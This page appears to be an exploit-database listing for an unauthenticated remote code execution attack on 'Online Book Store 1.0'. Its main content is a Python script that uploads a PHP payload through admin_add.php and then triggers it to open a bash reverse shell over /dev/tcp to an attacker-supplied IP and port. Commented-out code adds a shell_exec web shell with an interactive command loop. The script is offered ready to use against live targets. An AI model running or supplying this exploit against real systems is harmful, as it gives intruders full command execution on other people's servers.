Lucene search
K

Online Book Store 1.0 Code Execution

🗓️ 23 Jul 2020 00:00:00Reported by Tib3riusType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 333 Views

Unauthenticated Remote Code Execution in Online Book Store 1.

Code
`#!/usr/bin/env python3  
  
# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution (modified by cesgami)  
  
# Google Dork: N/A  
  
# Date: 2020-01-07 (2020-22-07)  
  
# Exploit Author: Tib3rius  
  
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/  
  
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip  
  
# Version: 1.0  
  
# Tested on: Ubuntu 16.04, Kali Linux 2020.2  
  
# CVE: N/A  
  
# Mod: Not so shitty reverse shell capability (want it to play nice with pwncat)  
  
  
  
import argparse  
  
import random  
  
import requests  
  
import socket  
  
import string  
  
  
  
parser = argparse.ArgumentParser()  
  
parser.add_argument('url', action='store', help='The URL of the target.')  
  
parser.add_argument('ip', action='store', help='LHOST')  
  
parser.add_argument('port', action='store', help='LPORT')  
  
args = parser.parse_args()  
  
  
  
url = args.url.rstrip('/')  
  
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))  
  
  
  
#payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'  
  
  
  
payload = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/' + args.ip + '/' + args.port +' 0>&1\'");?>'  
  
  
  
  
  
  
  
file = {'image': (random_file + '.php', payload, 'text/php')}  
  
print('> Attempting to upload PHP web shell...')  
  
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)  
  
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')  
  
  
  
#print('> Verifying shell upload...')  
  
#r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)  
  
  
  
input('> You need to prepare netcat or pwncat (Press any key)')  
  
  
  
try:  
  
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False)  
  
except HTTPError:  
  
print('> Web shell failed to upload! The web server may not have write permissions.')  
  
  
  
'''  
  
if random_file in r.text:  
  
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False)  
  
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')  
  
  
  
print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')  
  
launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))  
  
if launch_shell.lower() == 'y':  
  
while True:  
  
cmd = str(input('RCE $ '))  
  
if cmd == 'exit':  
  
sys.exit(0)  
  
r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)  
  
print(r.text)  
  
else:  
  
if r.status_code == 200:  
  
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')  
  
else:  
  
print('> Web shell failed to upload! The web server may not have write permissions.')  
  
'''  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation